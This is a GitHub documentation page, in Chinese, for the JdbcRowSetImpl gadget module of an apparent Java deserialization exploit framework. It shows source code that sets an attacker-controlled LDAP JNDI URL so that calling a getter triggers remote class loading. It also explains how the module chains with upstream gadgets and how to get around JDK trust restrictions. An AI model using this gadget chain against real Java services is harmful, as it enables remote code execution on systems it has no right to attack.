Skip to content

Latest commit

 

History

History
59 lines (47 loc) · 3.87 KB

File metadata and controls

59 lines (47 loc) · 3.87 KB

JdbcRowSetImpl JNDI链(JdbcRowSetImpl)

  • 类别:javanative 别名:— 优先级:20
  • 作者:—
  • 依赖jdk(JDK 内置,com.sun.rowset.JdbcRowSetImpl

作用

构造一个 com.sun.rowset.JdbcRowSetImpl,其 dataSourceName 被设为攻击者可控的 JNDI URL。当上游 gadget 调用它的 getter(getDatabaseMetaData,即触发属性 databaseMetaData 的读取)时,JdbcRowSetImpl 会执行 InitialContext.lookup(jndiUrl),导致 JNDI 注入 / 远程类加载。是最经典的 JDK 自带 getter 型 sink(链尾)。

链接标签

  • 入口 tagsJdbcRowSetImplChainGetterEND —— 承接任意「会调用内层对象 getter」的上一环(如 CommonsBeanutils1 的 BeanComparator、JacksonToString 的 POJONode);END 表示它是链的终点。
  • 衔接 nextTags:无(终点 sink)。
  • excludes:无。

源码剖析

@Param(name="jndiUrl", description="jndi lookup url, like ldap://xxxx:1389/xxx")
public String jndiUrl = "ldap://127.0.0.1:1389/x";
String paramName = "databaseMetaData";          // 要触发的属性名
String methodName = "getDatabaseMetaData";       // 对应 getter

public com.sun.rowset.JdbcRowSetImpl getObject() throws Exception {
    com.sun.rowset.JdbcRowSetImpl jdbcRowSet = new com.sun.rowset.JdbcRowSetImpl();
    jdbcRowSet.setDataSourceName(this.jndiUrl);  // 把 JNDI URL 写入 dataSourceName
    return jdbcRowSet;
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, this.methodName);
    context.put(ContextTag.GETTER_PARAM_NAME_KEY, this.paramName);   // 告知上游要触发的属性名
    context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, this.methodName);
    return this.getObject();
}

关键点:

  1. invoke 通过 context.put(GETTER_PARAM_NAME_KEY, "databaseMetaData") 把要触发的属性名回填进链上下文——上游的 getter 触发器(如 CommonsBeanutils1 的 BeanComparator.property)会从该 key 读取,从而知道该调用哪个 getter,实现「可插拔的 getter 名」。这与 CommonsBeanutils1property = context.getString(GETTER_PARAM_NAME_KEY) 正好对接。
  2. getObject 不主动触发 lookup,仅设置好 dataSourceName;真正的 InitialContext.lookup(dataSourceName) 发生在受害端调用 getDatabaseMetaData() 时——该 getter 内部走 connect()InitialContext.lookup
  3. 由于它自身没有 readObject,必须依赖上游触发 getter,故 tagsGetter

参数(@Param)

字段 名称 说明 默认 可选值
jndiUrl jndiUrl JNDI lookup 地址,如 ldap://xxxx:1389/xxx ldap://127.0.0.1:1389/x 任意 URL

paramName=databaseMetaDatamethodName=getDatabaseMetaData 为内部固定字段,非用户可配。)

适用版本与原理要点

  • 依赖 JDK 内置 com.sun.rowset.JdbcRowSetImpl,无第三方依赖。
  • 最终效果为 JNDI 注入:受高版本 JDK 的 JNDI trust URL 限制(com.sun.jndi.ldap.object.trustURLCodebase 默认 false 后,远程 codebase 加载被封),高版本需配合本地 factory / 反序列化型 JNDI 利用绕过;但作为纯 getter sink,其触发本身不挑 JDK 版本。
  • 相比 TemplatesImpl(需 defineClass、受 JDK 17 模块限制),JNDI 路线对 JDK 版本更宽容,是 CB1/CB2 等 getter 链常配的另一条出口。

所属预设链

关联

  • 上游(tags=Getter,提供 getter 触发):CommonsBeanutils1CommonsBeanutils2JacksonToString
  • 同类出口(getter/JNDI 型 sink):LdapAttribute、Oracle 系列 OracleJDBCRowSet / OracleWebRowSet 等 RowSet。